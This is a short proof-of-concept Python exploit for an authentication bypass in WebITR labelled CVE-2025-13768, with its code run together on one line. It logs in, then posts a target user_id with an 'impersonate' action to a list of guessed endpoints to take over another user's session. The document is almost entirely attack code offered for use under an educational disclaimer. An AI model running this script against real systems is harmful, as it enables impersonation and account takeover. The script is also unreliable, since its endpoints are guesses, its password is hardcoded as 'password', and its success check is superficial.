CVE-2025-13768 WebITR认证绕过漏洞

# CVE-2025-13768 WebITR Authentication Bypass PoC # This PoC demonstrates the authentication bypass vulnerability in WebITR # Note: This is for educational and authorized testing purposes only import requests import sys def exploit_webitr_auth_bypass(target_url, attacker_credentials, target_user_id): """ Exploit the authentication bypass vulnerability in WebITR Args: target_url: Base URL of the vulnerable WebITR instance attacker_credentials: Tuple of (username, password) target_user_id: The user ID to impersonate Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Normal authentication with attacker credentials login_url = f"{target_url}/login" login_data = { 'username': attacker_credentials[0], 'password': attacker_credentials[1] } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False print("[+] Successfully authenticated with attacker credentials") # Step 2: Exploit the authentication bypass # Modify the user_id parameter to impersonate target user # Common vulnerable endpoints might be: # /api/user/profile, /api/session/update, /api/auth/impersonate bypass_endpoints = [ '/api/user/profile', '/api/session/update', '/api/auth/impersonate', '/user/profile/update' ] for endpoint in bypass_endpoints: bypass_url = f"{target_url}{endpoint}" bypass_data = { 'user_id': target_user_id, 'action': 'impersonate' } response = session.post(bypass_url, data=bypass_data, timeout=10) # Check if the exploitation was successful # Successful exploitation typically returns session cookie # or confirmation of user ID change if response.status_code == 200 and 'session' in response.text.lower(): print(f"[+] Successfully exploited via {endpoint}") print(f"[+] Now impersonating user ID: {target_user_id}") return True print("[-] Exploitation failed - no vulnerable endpoint found") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def main(): if len(sys.argv) != 4: print("Usage: python cve-2025-13768.py <target_url> <attacker_username> <target_user_id>") print("Example: python cve-2025-13768.py http://target.com admin 1") sys.exit(1) target_url = sys.argv[1] attacker_username = sys.argv[2] target_user_id = sys.argv[3] print(f"[*] Target: {target_url}") print(f"[*] Attacker username: {attacker_username}") print(f"[*] Target user ID: {target_user_id}") print("[*] Starting exploitation...") success = exploit_webitr_auth_bypass( target_url, (attacker_username, "password"), # Assume password is known target_user_id ) if success: print("\n[!] Vulnerability confirmed - Authentication bypass successful") else: print("\n[-] Exploitation failed") if __name__ == "__main__": main()